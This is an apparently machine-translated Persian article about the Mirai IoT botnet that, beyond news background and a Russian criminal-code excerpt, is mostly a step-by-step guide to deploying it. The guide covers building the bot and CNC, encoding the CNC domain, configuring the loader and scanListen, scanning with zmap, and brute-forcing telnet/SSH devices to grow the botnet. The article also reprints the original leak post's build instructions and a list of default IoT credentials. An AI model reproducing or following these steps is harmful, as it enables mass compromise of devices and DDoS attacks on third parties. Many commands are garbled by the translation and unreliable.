کد منبع Mirai. نصب و پیکربندی بات نت Mirai. میرای چگونه کار می کند

در اصل، Mirai به سادگی کار می‌کند: اینترنت را به دنبال دستگاه‌های IoT که در برابر زور و هک آسیب‌پذیر هستند و از طریق telnet قابل دسترسی هستند، اسکن می‌کند. بدافزار در درجه اول دوربین های نظارتی، دستگاه های DVR و روترها را آلوده می کند و سپس مانند یک کرم به تکثیر خود ادامه می دهد.

از حملات DDoS انجام شده توسط این بات نت اخیرا و بزرگترین در اروپا. اوج قدرت حمله به 620 گیگابیت بر ثانیه و بیش از 1 ترابایت بر ثانیه رسید. برای دستیابی به چنین نتایجی، مهاجمان از سیل های UDP، DNS و HTTP و همچنین بسته های GRE (Generic Routing Encapsulation) استفاده کردند که کارشناسان آن را بسیار غیرعادی تشخیص دادند.

نتیجه گیری کارشناسان MalwareTech به طور کلی با این مشاهدات موافق است. بنابراین، در یک دوره دوازده ساعته، محققان حدود 72000 آدرس IP منحصر به فرد را ثبت کردند و هر ساعت 4000 IP جدید ظاهر شد. از این، تحلیلگران به این نتیجه رسیدند که اندازه بات نت بسیار کم است - فقط حدود 120000 دستگاه در روز. و اگرچه بات نت بسیار بزرگتر است و ارقام 1 تا 1.5 میلیون ربات است، نه محققان MalwareTech و نه متخصصان Akamai با این موافق نیستند.

میرای که در گذشته به دلیل سادگی حملات تلنت تا حد زیادی نادیده گرفته می شد، هفته گذشته تقریباً به موضوع اصلی بحث در رسانه های سراسر جهان تبدیل شد و سازمان های مجری قانون با حمایت بسیاری از شرکت های بین المللی تحقیقات خود را آغاز کردند. محققان می نویسند. این احتمال وجود دارد که حملات قدرتمند DDoS اکنون رایج‌تر شوند زیرا هکرها دستگاه‌های IoT آسیب‌پذیر بیشتری را پیدا می‌کنند یا شروع به آلوده کردن دستگاه‌های محافظت شده NAT می‌کنند. قطعا زمان آن فرا رسیده است که سازندگان از انتشار دستگاه‌هایی با رمزهای عبور پیش‌فرض جهانی خودداری کنند و به دستگاه‌هایی با رمزهای عبور تصادفی تولید شده در پایین کیس روی بیاورند.»

علاوه بر این گزارش، محققان MalwareTech ویدئویی را ضمیمه کرده‌اند که نقشه‌ای از عفونت‌های Mirai را نشان می‌دهد (به زیر مراجعه کنید). همچنین در وب سایت محققان، می توانید نقشه تعاملی بات نت را بیابید که در زمان واقعی به روز می شود.

ما به دو سرور VPS KVM و یک دامنه نیاز داریم. مجازی سازی در این زمان KVM، OpenVZ است.

من اینجا سرور میگیرم -

در یک سرور ما خود بات نت را نصب می کنیم، در سرور دوم ربات ها را اسکن می کنیم. (بی رحم)

مهم. سرورها باید مبتنی بر دبیان 8 باشند و حداقل 1 گیگابایت رم داشته باشند.

هر دامنه ای، مهم نیست.

البته متأسفم، اما من به شما نمی گویم چگونه دامنه را به VPS متصل کنید. سخت نیست خودت متوجه میشی

بتونهو شروع می کنیم

# apt-get update -y

# apt-get upgrade -y

# apt-get نصب unzip gcc golang حصار الکتریکی صفحه sudo git -y

# apt-get نصب mysql-server -y

# apt-get mysql-client -y را نصب کنید

# apt-get نصب apache2 -y

هنگام نصب MySQL، باید یک رمز عبور برای دسترسی به MySQL برای کاربر root ایجاد کنید. با یک رمز عبور عادی، بدون هیچ "qwerty" بیایید

آن را در جایی بنویسید، ما هنوز به آن نیاز خواهیم داشت.

# sudo apt-get install curl git mercurial make binutils bison gcc build-essential -y

#ضربه شدید< <(curl -s -S -L

برای دیدن لینک ها باید وارد شوید

)

# gvm نصب go1.4

# gvm از go1.4 استفاده کنید [--پیش‌فرض]

# gvm go1.4 -B را نصب کنید

# gvm از go1.4 استفاده کنید

# صادرات GOROOT_BOOTSTRAP=$GOROOT

# gvm go1.5 را نصب کنید

# gvm از go1.5 استفاده کنید

# gvm نصب go1.8

# gvm از go1.8 استفاده کنید

پس از نصب تمام ابزارها، منابع ربات را دانلود کنید -

برای دیدن لینک ها باید وارد شوید

و آن را در سرور آپلود کنید. تیم wget، یا فقط از طریق برنامه WinSCP.

# Mirai-Source-Code-master.zip را از حالت فشرده خارج کنید

# سی دی Mirai-Source-Code-Master/mirai/tools

# gcc enc.c -o enc

رشته # ./enc *******(دامنه خود را که به سرور متصل است می نویسیم) و Enter را فشار می دهیم.

در اینجا متن زیر را مشاهده خواهید کرد -

XOR دارای 14 بایت داده ...

\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22

14 - در اینجا شماره دیگری خواهید داشت، بنابراین نگران نباشید، همه چیز درست است.

تمام این متن را کپی کنید.

از طریق ویرایشگر نانو یا از طریق ویرایشگر نانو باز کنید WinSCPفایل جدول.جکه در پوشه است mirai/bot

این را باید دید -

برای دیدن لینک ها باید وارد شوید

خط add_entry(TABLE_CNC_DOMAIN- هر چیزی که در نقل قول است به متن ما تغییر می کند که ما فقط کپی کردیم. بجای " 30 " ما شماره خود را می نویسیم، که ما آن را نیز کپی کردیم. ما همین کار را با رشته انجام می دهیم add_entry(TABLE_SCAN_CB_DOMAIN

ویرایشگر را ذخیره کرده و ببندید.

فایل را با ویرایشگر باز کنید mirai/cnc/main.go

ما آن را می بینیم -

برای دیدن لینک ها باید وارد شوید

"127.0.0.1" تغییر به "127.0.0.1:3306"

"کلمه عبور"رمز عبور MySQL را که قبلا وارد شده بود تغییر دهید. "

فایل را ذخیره کنید و ویرایشگر را ببندید.

فقط این همه زباله را کپی کنید، من به شما نمی گویم که چرا به آن نیاز دارید -

# mkdir /etc/xcompile

# سی دی /etc/xcompile

#wget

برای دیدن لینک ها باید وارد شوید

#wget

برای دیدن لینک ها باید وارد شوید

#wget

برای دیدن لینک ها باید وارد شوید

#wget

برای دیدن لینک ها باید وارد شوید

#wget

برای دیدن لینک ها باید وارد شوید

#wget

برای دیدن لینک ها باید وارد شوید

#wget

برای دیدن لینک ها باید وارد شوید

#wget

برای دیدن لینک ها باید وارد شوید

#wget

برای دیدن لینک ها باید وارد شوید

# tar -jxf cross-compiler-armv4l.tar.bz2

# tar -jxf cross-compiler-i586.tar.bz2

# tar -jxf cross-compiler-m68k.tar.bz2

# tar -jxf cross-compiler-mips.tar.bz2

# tar -jxf cross-compiler-mipsel.tar.bz2

# tar -jxf cross-compiler-powerpc.tar.bz2

# tar -jxf cross-compiler-sh4.tar.bz2

# tar -jxf cross-compiler-sparc.tar.bz2

# tar -jxf cross-compiler-armv6l.tar.bz2

# rm *.tar.bz2

# mv cross-compiler-armv4l armv4l

# mv cross-compiler-i586 i586

# mv cross-compiler-m68k m68k

# mv cross-compiler-mips mips

# mv cross-compiler-mipsel mipsel

# mv cross-compiler-powerpc powerpc

# mv cross-compiler-sh4 sh4

# mv cross-compiler-sparc sparc

# mv cross-compiler-armv6l armv6l

# صادرات PATH=$PATH:/etc/xcompile/armv4l/bin

# صادرات PATH=$PATH:/etc/xcompile/i586/bin

# صادرات PATH=$PATH:/etc/xcompile/m68k/bin

# صادرات PATH=$PATH:/etc/xcompile/mips/bin

# صادرات PATH=$PATH:/etc/xcompile/mipsel/bin

# صادرات PATH=$PATH:/etc/xcompile/powerpc/bin

# صادرات PATH=$PATH:/etc/xcompile/powerpc-440fp/bin

# صادرات PATH=$PATH:/etc/xcompile/sh4/bin

# صادرات PATH=$PATH:/etc/xcompile/sparc/bin

# صادرات PATH=$PATH:/etc/xcompile/armv6l/bin

# صادرات PATH=$PATH:/usr/local/go/bin

# صادرات GOPATH=$HOME/Documents/go

# برو github.com/go-sql-driver/mysql را دریافت کن

# برو github.com/mattn/go-shellwords را دریافت کن

# سی دی Mirai-Source-Code-master/mirai

# ./build.sh اشکال زدایی شبکه راه دور

# ./build.sh انتشار شبکه راه دور

# mv mirai* /var/www/html

# سی دی /var/www/html

# سطل mkdir

#mv*bins/

اکنون MySQL.

# mysql -u root -p

در اینجا از شما رمز عبور خواسته می شود. رمز عبوری را که قبلاً تعیین کرده اید وارد کنید.

# ایجاد پایگاه داده mirai;

#از میرایی استفاده کنید

اکنون تمام متن را از اینجا کپی کنید -

برای دیدن لینک ها باید وارد شوید

Paste کرده و Enter را فشار دهید.

متن را از اینجا کپی کنید -

برای دیدن لینک ها باید وارد شوید

بجای آنا سنپایورود خود را بنویسید هر در مورد myawesomepassword هم همینطور. برای دسترسی به کنترل پنل ربات به این داده ها نیاز داریم.

باید اینجوری باشه - INSERT INTO users VALUES (NULL، "pizdec"، "zaebalsjapisatj"، 0، 0، 0، 0، -1، 1، 30، "");

کپی، چسباندن، Enter را فشار دهید.

حالا می توانید بیرون بروید.

تقریبا همه چیز.

# سی دی Mirai-Source-Code-master/mirai/release

# prompt.txt را لمس کنید

# صفحه نمایش ./cnc

علامت حتما ببینید MySQL DB باز شد

این جلسه را نبندید، جلسه جدیدی باز کنید.

برای دیدن لینک ها باید وارد شوید

به جای ****** دامنه خود را می نویسیم و Open را کلیک می کنیم.

نام کاربری و رمز عبور خود را وارد کنید، در مورد من این است -

zaebalsjapisatj

همه چیز، ما در کنترل پنل ربات هستیم.

اکنون به ربات ها نیاز داریم. همه چیز در اینجا ساده است، نیازی به نصب نیست.

راه اندازی لودر

Loader مورد نیاز است تا بتوان ربات ها را از فایل های متنی اضافه کرد. فرض کنید دستگاه‌های زیادی (روتر، دوربین، گوشی) را هک کرده‌ایم و برای اضافه کردن آن‌ها به ربات، به یک لودر نیاز داریم.

همچنین لودر یک "کرم" است

اتصال به سرور ما از طریق PuTTY و WinSCP.

با استفاده از WinSCP فایل را پیدا کنید main.cدر پوشه mirai-source-code-master/dlr

ما IP سرور خود را مانند تصویر می نویسیم -

برای دیدن لینک ها باید وارد شوید

کاماها را همانطور که باید رها می کنیم. ذخیره کن و ببند.

در حال حاضر با PyTTYبه سرور ما بروید و بنویسید -

# سی دی Mirai-Source-Code-master/dlr

# chmod 777 *

# ./build.sh

انتشار # سی دی

# mv dlr* ~/Mirai-Source-Code-master/loader/bins

حالا بیایید باز کنیم WinSCPو فایل را پیدا کنید main.cدر پوشه mirai-source-code-master/loader/src

IP خود را همانطور که روی صفحه است تغییر دهید -

برای دیدن لینک ها باید وارد شوید

ذخیره کن و ببند.

از طریق بتونه -

# ./build.sh

با استفاده از WinSCPباز کردن فایل scanListen.goکه در پوشه یافت می شود mirai-source-code-master/mirai/tools

تغییر IP سرور خود -

برای دیدن لینک ها باید وارد شوید

سپس با PyTTY -

# سی دی Mirai-Source-Code-master/mirai/tools

# برو بساز scanListen.go

حالا ما یک فایل جدید داریم - اسکن گوش کن(بدون برو، فقط اسکن گوش کن)

اسکن گوش کنباید به پوشه منتقل شود mirai-source-code-master/loader

فقط با استفاده WinSCPآن را در یک پوشه قرار دهید لودر

حالا بیایید بررسی کنیم که آیا همه چیز کار می کند یا خیر

# ./loader

اگر آنچه را روی صفحه نمایش می بینید، همه چیز درست است -

برای دیدن لینک ها باید وارد شوید

اگر خطایی وجود دارد، در تاپیک بنویسید، من کمک می کنم.

برای دانلود ربات ها از لیست، یک متن را در یک پوشه می اندازیم لودرو ما دستور را جمع آوری می کنیم -

# cat list.txt | ./لودر

همه چیز، تمام ربات هایی که هک کردید با شما خواهند بود، آنها سایت ها را به دستور شما ایجاد می کنند.

من شخصا از این روش استفاده نکردم، راه ساده تری پیدا کردم.

در اینجا به سرور دوم نیاز داریم. همینطور دبیان 8.

# apt-get update -y

# apt-get upgrade -y

# apt-get نصب python-paramiko -y

# apt-get نصب zmap -y

zmapباید پورت ها را اسکن کنیم. اصل کار مانند KPortScan، فقط 50 برابر سریعتر است.

همه کدها را از اینجا کپی کنید -

برای دیدن لینک ها باید وارد شوید

و ذخیره به عنوان scan.py

در اینجا می توانید رمز عبور و لاگین خود را اضافه کنید -

برای دیدن لینک ها باید وارد شوید

رشته ترکیبیدست نزن!

در اینجا باید IP سروری را که ربات در آن قرار دارد ثبت کنید -

برای دیدن لینک ها باید وارد شوید

همه چیز را تغییر دهید و ذخیره کنید.

ما فایل scan.py را در هر جایی از سرور خود می اندازیم. در سرور دوم که صرفاً برای اسکن است، سروری که روی آن ربات را لمس نمی کنیم.

ما به IP هایی نیاز داریم که اسکن خواهیم کرد.

#zmap -p22 -o list.txt -B 100M(شما می توانید پورت های دیگر را نیز اسکن کنید، من همیشه 22 یا 23 را اسکن کردم)

تمام نتایج در فایل خواهد بود list.txt

پس از جمع آوری IP (هرچه بیشتر بهتر) فایل list.txtکنار فایل بیندازید scan.pyو بنویس -

# python scan.py list.txt 500

همین است، ما می نشینیم و تماشا می کنیم که چگونه بات نت ما رشد می کند.

هنگامی که حداقل 200 ربات تایپ می شود، می توانید لودر را راه اندازی کنید.

برای انجام این کار، به سروری که بات نت در آن نصب شده است بروید و -

# سی دی Mirai-Source-Code-master/loader

# ulimit -n 9999999

# ./scanListen | ./لودر

اکنون ربات مانند یک "کرم" کار می کند و ربات های بیشتری را تمام می کند.

هفته گذشته منابع اجزای بات نت Mirai که در حملات DDoS رکوردشکنی با ظرفیت تا 1 ترابایت بر ثانیه استفاده می شد، به شبکه درز کرد.

هنر 273 قانون جزایی فدراسیون روسیه. ایجاد، استفاده و توزیع برنامه های کامپیوتری مخرب

1. ایجاد، توزیع یا استفاده از برنامه‌های رایانه‌ای یا سایر اطلاعات رایانه‌ای، که آگاهانه برای تخریب غیرمجاز، مسدود کردن، اصلاح، کپی کردن اطلاعات رایانه‌ای یا خنثی کردن وسایل حفاظت اطلاعات رایانه‌ای در نظر گرفته شده است.

مجازات محدودیت آزادی برای مدت حداکثر چهار سال یا کار اجباری تا چهار سال یا محرومیت از آزادی برای مدت مشابه با جریمه نقدی تا سقف 200 هزار روبل است. یا به میزان مزد یا حقوق یا هر درآمد دیگری محکوم علیه تا مدت هجده ماه.

2- اعمال مقرر در بند (1) این ماده که توسط گروهی از افراد با توافق قبلی یا توسط یک گروه سازماندهی شده یا توسط شخصی که از موقعیت رسمی خود استفاده می کند و همچنین باعث ایجاد خسارت عمده یا از سر منافع خودخواهانه شده است. -

به حبس از آزادی تا چهار سال یا کار اجباری تا پنج سال با یا بدون محرومیت از حق تصدی برخی سمت‌ها یا انجام فعالیت‌های خاص برای مدت حداکثر محکوم می‌شود. تا سه سال یا با محرومیت از آزادی برای مدت حداکثر پنج سال با جریمه نقدی از یکصد هزار تا دویست هزار روبل یا به میزان دستمزد یا سایر درآمدهای محکوم به مدت یک دوره دو تا سه سال یا بدون آن و با سلب حق تصدی برخی مناصب یا انجام فعالیتهای خاص برای مدت حداکثر سه سال یا بدون آن.

3- اعمال مندرج در بندهای یک یا دو این ماده در صورتی که موجب عواقب سنگین یا ایجاد خطر وقوع آنها شده باشد.

مجازات حبس از آزادی تا هفت سال است.

این بات نت عمدتاً از دوربین ها، دستگاه های DVR و غیره تشکیل شده است.

آلودگی بسیار ساده است: اینترنت برای پورت های باز 80/23 (وب/تلنت) اسکن می شود و حساب های رمزگذاری شده انتخاب می شوند.

تعداد کمی از کاربران رمز عبور حساب های داخلی را تغییر می دهند (در صورت امکان)، بنابراین بات نت دائماً با دستگاه های جدید به روز می شود. اگر بتوانید رمز عبور را از رابط وب در حالی که در آن هستید تغییر دهید، پس رمز عبور و وجود دسترسی شبکه راه دور به سادگی بسیاری از کاربران را از خود دور می کند.

رایج ترین حساب های مورد استفاده عبارتند از:

enable: system
پوسته:ش
مدیر: مدیر
ریشه:xc3511
ریشه:vizxv
ریشه: مدیر
root:xmhdipc
ریشه: 123456
ریشه: 888888
پشتیبانی: پشتیبانی
ریشه: 54321
ریشه: juantech
ریشه: anko
ریشه: 12345
مدیر:
ریشه: پیش فرض
مدیر: رمز عبور
ریشه: ریشه
ریشه:
کاربر: کاربر
مدیر:smcadmin
ریشه: پاس
admin:admin1234
ریشه: 1111
مهمان:12345
ریشه: 1234
ریشه: رمز عبور
ریشه: 666666
مدیر: 1111
خدمات: خدمات
ریشه سیستم
ناظر: ناظر
ریشه: klv1234
مدیر:1234
ریشه:ikwb
ریشه: Zte521

پس از دسترسی، مرکز فرمان یک اعلان باینری در مورد حضور یک ربات جدید دریافت می کند:

4a 9a d1 d1 = XXX.XXX.XXX.XXX (آدرس میزبان اینجا بود)
05 = برگه
17 = 23 (پورت 23 Telnet)
05 = برگه
61 64 6d 69 6e = نام کاربری: admin admin
05 = برگه
61 64 6d 69 6e = رمز عبور کاربر: admin

اجزای بات نت برای کار در محیط های مختلف طراحی شده اند، همانطور که نمونه های شناسایی شده نشان می دهد:

mirai.arm
mirai.arm7
mirai.mips
mirai.ppc
mirai.sh4

سرورهای C&C در حال حاضر در آدرس های زیر ثابت هستند:

103.1.210.27
103.1.210.28
185.130.225.65
185.130.225.66
185.130.225.83
185.130.225.90
185.130.225.94
185.130.225.95
185.70.105.161
185.70.105.164
185.93.185.11
185.93.185.12
200.170.143.5
46.249.38.145
46.249.38.146
46.249.38.148
46.249.38.149
46.249.38.150
46.249.38.151
46.249.38.152
46.249.38.153
46.249.38.154
46.249.38.155
46.249.38.159
46.249.38.160
46.249.38.161
80.87.205.10
80.87.205.11

دستورالعمل های ایجاد یک بات نت بسیار ساده است، من همانطور که هست ارائه می دهم (منبع http://pastebin.com/E90i6yBB):

سلام به همه،

وقتی برای اولین بار وارد صنعت DDoS شدم، قصد نداشتم مدت زیادی در آن بمانم. من پولم را به دست آوردم، اکنون چشمان زیادی به IOT نگاه می کنند، بنابراین زمان GTFO است. با این حال، من می دانم که هر اسکید و مادرشان، این آرزوی خیس آنهاست که چیزی غیر از qbot داشته باشند.

بنابراین امروز، من یک نسخه شگفت انگیز برای شما دارم. با Mirai، من معمولا حداکثر 380k ربات را به تنهایی از telnet می کشم. با این حال، پس از Kreb DDoS، ISP ها به آرامی در حال خاموش شدن و پاکسازی فعالیت خود بودند. امروزه حداکثر کشش حدود 300 هزار ربات است و در حال سقوط است.

بنابراین، من سنپای شما هستم و با شما خیلی خوب رفتار خواهم کرد، hf-chan من.

و برای همه کسانی که فکر می کردند با زدن CNC من کاری انجام می دهند، خنده ام گرفت، این ربات از دامنه برای CNC استفاده می کند. 60 ثانیه طول می کشد تا همه ربات ها دوباره وصل شوند lol

همچنین، به این پست وبلاگ توسط malwaremustdie فریاد بزنید
http://blog.malwaremustdie.org/2016/08/mmd-0056-2016-linuxmirai-just.html
https://web.archive.org/web/20160930230210/http://blog.malwaremustdie.org/2016/08/mmd-0056-2016-linuxmirai-just.html<- backup in case low quality reverse engineer unixfreaxjp decides to edit his posts lol
برای شما احترام زیادی قائل بودم، فکر می کردم که شما معکوس کننده خوبی هستید، اما شما واقعاً به طور کامل و کاملاً در معکوس کردن این باینری شکست خوردید. "ما هنوز کونگ فوی بهتری از شما بچه ها داریم" لطفا من را نخندید، شما اشتباهات زیادی مرتکب شدید و حتی چند باینری مختلف را با من اشتباه گرفتید. روده بر شدن از خنده

اجازه بدهید چند سیلی به شما برگردانم
1) پورت 48101 برای اتصال به عقب نیست، بلکه برای کنترل است تا از اجرای چندین نمونه ربات با هم جلوگیری کند.
2) /dev/watchdog و /dev/misc برای "تاخیر" نیستند، بلکه برای جلوگیری از هنگ کردن سیستم هستند. این یکی از میوه های کم آویزان است، آنقدر غم انگیز است که شما به شدت گنگ هستید
3) شما شکست خوردید و فکر کردید FAKE_CNC_ADDR و FAKE_CNC_PORT CNC واقعی هستند، lol "و انجام درب پشتی برای اتصال از طریق HTTP در 65.222.202.53". شما توسط جریان سیگنال دچار مشکل شدید
4) ابزار اسکلت شما هول می کند، فکر می کرد رمزگشای حمله "سبک sinden" است، اما حتی از پروتکل مبتنی بر متن استفاده نمی کند؟ CNC و ربات از طریق پروتکل باینری ارتباط برقرار می کنند
5) شما می گویید "chroot("/") بسیار قابل پیش بینی مانند torlus" اما متوجه نمی شوید، برخی دیگر بر اساس cwd می کشند. این نشان می‌دهد که چقدر با بدافزار واقعی دور از دسترس هستید. به اسکیدلند برگرد

چرا ابزار مهندسی معکوس می نویسید؟ شما حتی نمی توانید در وهله اول به درستی معکوس کنید. لطفا قبل از اینکه بخواهید دیگران را تحت تاثیر قرار دهید ابتدا چند مهارت را بیاموزید. غرور شما در بیان اینکه چگونه با جمله کونگ فوی احمقانه خود "مرا زدید" باعث شد در حین خوردن سوپ به شدت بخندم، مجبور شدم دستی به پشتم بزند.

همانطور که من برای همیشه آزاد هستم، شما برای همیشه محکوم به میانه‌سالاری خواهید بود.

الزامات
2 سرور: 1 برای CNC + mysql، 1 برای گیرنده اسکن و 1+ برای بارگذاری

الزامات OP
2 VPS و 4 سرور
- 1 VPS با میزبان بسیار ضد گلوله برای سرور پایگاه داده
- 1 VPS، روت کیت شده، برای گیرنده اسکن و توزیع کننده
- 1 سرور برای CNC (مثلا 2٪ CPU با 400 هزار ربات استفاده می شود)
- سرورهای NForce 3x 10gbps برای بارگذاری (توزیع کننده به 3 سرور به طور مساوی توزیع می کند)

— برای برقراری اتصال به CNC، ربات‌ها یک دامنه (resolv.c/resolv.h) را حل کرده و به آن آدرس IP متصل می‌شوند.
- ربات‌ها با استفاده از یک اسکنر پیشرفته SYN که تقریباً 80 برابر سریع‌تر از Qbot است و تقریباً 20 برابر منابع کمتری مصرف می‌کند، شبکه راه دور را به‌کار می‌گیرند. ربات هنگام یافتن نتیجه bruted دامنه دیگری را حل کرده و گزارش می دهد. این به یک سرور جداگانه زنجیر شده است تا با ورود نتایج به طور خودکار بر روی دستگاه ها بارگذاری شود.
- نتایج Bruted به طور پیش‌فرض در پورت 48101 ارسال می‌شوند. ابزاری به نام scanListen.go در ابزارها برای دریافت نتایج bruted استفاده می‌شود (من در اوج 500 نتیجه در ثانیه در اوج می‌گرفتم). اگر در حالت اشکال زدایی بسازید، باید برنامه باینری scanListen را ببینید که در پوشه اشکال زدایی ظاهر می شود.

Mirai از مکانیزم پخشی مشابه خود تکراری استفاده می‌کند، اما چیزی که من آن را «بار در زمان واقعی» می‌نامم. اساساً، ربات‌ها نتایج بی‌خطری را انجام می‌دهند، آن را به سروری ارسال می‌کنند که با ابزار scanListen گوش می‌دهد، که نتایج را به لودر ارسال می‌کند. این حلقه (brute -> scanListen -> load -> brute) به عنوان بارگذاری زمان واقعی شناخته می شود.

لودر را می توان به گونه ای پیکربندی کرد که از چندین آدرس IP برای دور زدن تخلیه پورت در لینوکس استفاده کند (تعداد محدودی از پورت ها در دسترس هستند، به این معنی که تنوع کافی در تاپل برای دریافت بیش از 65 هزار اتصال خروجی همزمان وجود ندارد - در تئوری، این مقدار مقدار زیادی است. کمتر). شاید 60 تا 70 هزار اتصال خروجی همزمان (بارگذاری همزمان) در 5 IP پخش شده باشد.
ربات چندین گزینه پیکربندی دارد که در (table.c/table.h) مبهم هستند. در ./mirai/bot/table.h تو می توانیبیشتر توضیحات را برای گزینه های پیکربندی پیدا کنید. با این حال، در ./mirai/bot/table.c چند گزینه وجود دارد که *باید* آنها را تغییر دهید تا کار کنید.

- TABLE_CNC_DOMAIN - نام دامنه CNC برای اتصال - اجتناب از DDoS با mirai بسیار سرگرم کننده است، مردم سعی می کنند CNC من را بزنند، اما من آن را سریعتر از آن که بتوانند IP های جدید پیدا کنند، به روز می کنم. عقب افتاده :)
- TABLE_CNC_PORT - پورت برای اتصال، از قبل روی 23 تنظیم شده است
- TABLE_SCAN_CB_DOMAIN - هنگام یافتن نتایج bruted، این دامنه به آن گزارش می شود
- TABLE_SCAN_CB_PORT - درگاهی که می‌توانید برای نتایج bruted به آن متصل شوید، از قبل روی 48101 تنظیم شده است.

در ./mirai/tools چیزی به نام enc.c پیدا خواهید کرد — باید آن را کامپایل کنید تا چیزهایی را در فایل table.c قرار دهید.

این را در دایرکتوری mirai اجرا کنید

./build.sh اشکال زدایی شبکه راه دور

اگر کامپایلرهای متقابل را پیکربندی نکرده باشید، برخی از خطاها را دریافت خواهید کرد. این مشکلی ندارد، بر کامپایل ابزار enc تأثیری نخواهد گذاشت

اکنون در پوشه ./mirai/debug باید یک باینری کامپایل شده به نام enc را ببینید. به عنوان مثال، برای دریافت رشته مبهم برای نام دامنه برای اتصال ربات ها، از این استفاده کنید:

./debug/enc رشته fuck.the.police.com
خروجی باید به این شکل باشد

XOR در حال 20 بایت داده…
\x44\x57\x41\x49\x0C\x56\x4A\x47\x0C\x52\x4D\x4E\x4B\x41\x47\x0C\x41\x4D\x4F\x22
به عنوان مثال، برای به‌روزرسانی مقدار TABLE_CNC_DOMAIN، آن رشته هگز طولانی را با رشته‌ای که توسط ابزار enc ارائه شده است جایگزین کنید. همچنین، "XOR'ing 20 bytes of data" را مشاهده می کنید. این مقدار باید جایگزین آخرین آرگومان tas شود. برای مثال، خط table.c در اصل به این شکل است
add_entry(TABLE_CNC_DOMAIN، "\x41\x4C\x41\x0C\x41\x4A\x43\x4C\x45\x47\x4F\x47\x0C\x41\x4D\x4F\x22"، 30); // cnc.changeme.com
اکنون که ارزش ابزار enc را می دانیم، آن را به این صورت به روز می کنیم

add_entry(TABLE_CNC_DOMAIN, "\x44\x57\x41\x49\x0C\x56\x4A\x47\x0C\x52\x4D\x4E\x4B\x41\x47\x0C\x41\x4D\x4F\x2"، 2 //fuck.the.police.com
برخی از مقادیر رشته هستند، برخی از آنها پورت هستند (uint16 به ترتیب شبکه / big endian).
CNC را پیکربندی کنید:
apt-get نصب mysql-server mysql-client

CNC برای کار کردن به پایگاه داده نیاز دارد. هنگامی که پایگاه داده را نصب می کنید، وارد آن شوید و دستورات زیر را اجرا کنید:
http://pastebin.com/86d0iL9g

این یک پایگاه داده برای شما ایجاد می کند. برای اضافه کردن کاربر

INSERT INTO کاربران VALUES (NULL، 'anna-senpai'، 'myawesomepassword'، 0، 0، 0، 0، -1، 1، 30، ");
اکنون به فایل ./mirai/cnc/main.go بروید

این مقادیر را ویرایش کنید
const DatabaseAddr string = "127.0.0.1"
const DatabaseUser string = "root"
const DatabasePass string = "password"
const DatabaseTable string = "mirai"
به اطلاعات برای سرور mysqlشما تازه نصب کردید

کامپایلرهای متقابل آسان هستند، دستورالعمل های این پیوند را برای راه اندازی دنبال کنید. برای اعمال این تغییرات باید سیستم خود را راه اندازی مجدد کنید یا فایل bashrc. را بارگیری مجدد کنید.

http://pastebin.com/1rRCc3aD
CNC، ربات و ابزارهای مرتبط:
http://dopefile.pk/a9f2n9ewk8om
نحوه ساخت ربات + CNC
در پوشه mirai اسکریپت build.sh وجود دارد.
./build.sh اشکال زدایی شبکه راه دور

باینری های ربات را اشکال زدایی می کند که دیمونیزه نمی شوند و اطلاعات مربوط به اینکه آیا می تواند به CNC وصل شود یا خیر، وضعیت سیلاب و غیره را چاپ می کند. در پوشه ./mirai/debug کامپایل می شود
./build.sh انتشار شبکه راه دور

باینری‌های آماده تولید از ربات‌هایی را تولید می‌کند که بسیار جدا شده، کوچک (حدود 60K) هستند که باید روی دستگاه‌ها بارگذاری شوند. همه باینری ها را با فرمت کامپایل می کند: "mirai.$ARCH" در پوشه ./mirai/release

Loader ورودی های telnet را از STDIN در قالب زیر می خواند:
ip:portuser:pass
تشخیص می دهد که wget یا tftp وجود دارد یا خیر، و سعی می کند باینری را با استفاده از آن دانلود کند. اگر نه، یک باینری کوچک (حدود 1 کیلوبایت) را بارگذاری می کند که به عنوان wget کافی است.
./build.sh

لودر، بهینه سازی شده، استفاده از تولید، بدون سر و صدا ساخته خواهد شد. اگر فایلی با فرمت های مورد استفاده برای بارگذاری دارید، می توانید این کار را انجام دهید
catfile.txt | ./لودر
به یاد داشته باشید که محدود کنید!

فقط برای اینکه واضح باشد، من هیچ نوع آموزش کمکی 1 به 1 ارائه نمی دهم، زمان زیادی است. همه اسکریپت ها و همه چیز برای راه اندازی بات نت کار در کمتر از 1 ساعت گنجانده شده است. اگر سؤالات جداگانه ای دارید (چطور CNC به پایگاه داده وصل نمی شود، من این کار را انجام دادم) می خواهم کمک کنم، اما نه سؤالاتی مانند "ربات من وصل نمی شود، آن را برطرف کنید"

این تروجانی است که همه در چند هفته گذشته درباره آن نوشته اند. از چشمگیرترین دستاوردهای بات نت های ایجاد شده با کمک آن - قدرت بیش از یک ترابیت و در یک کشور کوچک آفریقایی است.

این چند تا کامپیوتر بود که برای این کار برده بود؟

اصلا. یا حداقل خیلی کم. دستگاه های Target Mirai اصلاً رایانه نیستند، بلکه دستگاه های IoT - ضبط کننده های ویدئویی، دوربین ها، توسترها... طبق آمار سطح 3 ارتباطات، تا پایان ماه اکتبر، حدود نیم میلیون دستگاه تحت کنترل تروجان قرار داشتند.

و چه، آیا او می تواند هر دوربینی را با یخچال بگیرد؟

نه واقعا. Mirai برای دستگاه‌های مبتنی بر Busybox - مجموعه‌ای ساده از ابزارهای یونیکس طراحی شده است خط فرمان، که به عنوان رابط اصلی در embedded استفاده می شود سیستم های عامل. تروجان فقط به پلتفرم های خاصی مانند ARM، ARM7، MIPS، PPC، SH4، SPARC و x86 حمله می کند. فقط دستگاه هایی با تنظیمات کارخانه یا حفاظت بسیار ضعیف در معرض خطر هستند - عفونت با استفاده از یک حمله brute-force در پورت Telnet رخ می دهد، که برای آن از لیست اعتبارنامه های مدیر پیش فرض استفاده می شود.

به نوعی ناکارآمد است - جستجو در سراسر اینترنت برای دوربین های بدون رمز عبور - اینطور نیست؟

اما آنها حدس نمی زدند. یک روزنامه نگار از آتلانتیک - یک سرور اجاره کرد و برنامه ای نوشت که وانمود می کند یک توستر است. اولین حمله به "لوازم خانگی" پس از 40 دقیقه رخ داد! در 11 ساعت بعد، توستر بیش از 300 بار هک شد. واقعیت این است که بات نت ها به اندازه های بی سابقه ای رسیده اند و فضای آدرس IPv4 برای آنها بسیار کم است. علاوه بر این، شایان ذکر است که هکرها به صورت دستی به دنبال دستگاه های آسیب پذیر نیستند - این کار توسط اعضای بات نت انجام می شود. و از آنجایی که هر "کارگر" تازه تبدیل شده خود نیز شروع به جستجوی قربانیان می کند، بات نت به طور تصاعدی در حال رشد است.

